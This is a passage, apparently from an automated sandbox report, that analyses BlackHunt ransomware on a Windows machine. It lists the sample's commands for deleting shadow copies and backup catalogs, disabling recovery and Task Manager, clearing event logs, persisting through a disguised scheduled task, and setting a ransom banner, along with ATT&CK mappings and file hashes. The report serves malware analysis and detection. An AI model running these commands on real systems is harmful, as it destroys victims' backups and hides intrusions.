  PID:2180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe" /F
  2⤵
  PID:1540
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2892
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2256
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:604
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:704
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2248
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1656
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2364
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1036
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1780
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3104
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:904
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3592
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3452
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2820
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1944
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1512
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1716
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2324
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3284
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3256
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3100
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3348
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3224
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3440
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3744
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3460
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe"
  2⤵
  - Deletes itself
  PID:3748
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3444

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:1912

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-825686689-138380535554206822156926481058649723213399626151565756352-586992846"
1⤵
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2904

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:3000

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:2680

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
a55976acfb48ef750c9bb9b8b1efcdf7

SHA1
7ed1edc399aa6334e75c5831f70fa0e72e8ccc40

SHA256
32f918136a1533c3ba947372c28706649c79171790c452d0989aabb176cd0e4c

SHA512
39635bec7c2dda5c502a3d66ce4b39fca1d9b9033c21ab3e913f2749b30345474fd7da1ae0aebf79260d1f12ecef80400ea0981687e93c2ba97554ee981deb97

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
1125c840979ee06446843fb56869f677

SHA1
7e067f601d2bd58a012bb230c38417d8ce6a5813

SHA256
cc68012d76b9a1f9e7a409cbc9566e148da4ac97516fa82a0783927636cfe020

SHA512
74780a6fc64b2abf1e7cb530637a3fdf2c7b0b0e2b63d094a8bc74757e913d0c9b60402f83cea27c3fd219018aee44cf3863b616da4c7cb68164e58754c9ec74

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
eb5e569d7312267ea236b027a63e0367

SHA1
4888da773d6f0ffcc3aafaf9c3c52d458b53c2af

SHA256
a4ec868d4cd51bcab753ecafac734dc13b356d5f7ad0f3f050b6fea6e7b2d4ae

SHA512
7e90d08db5868f2f9ba8ab959112bc50c384c3600a60a8685bd292ea684d72ca2327655ad7c253126f5b5c4227beefeef0943797b95fd2fbf925356fe59818b6

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads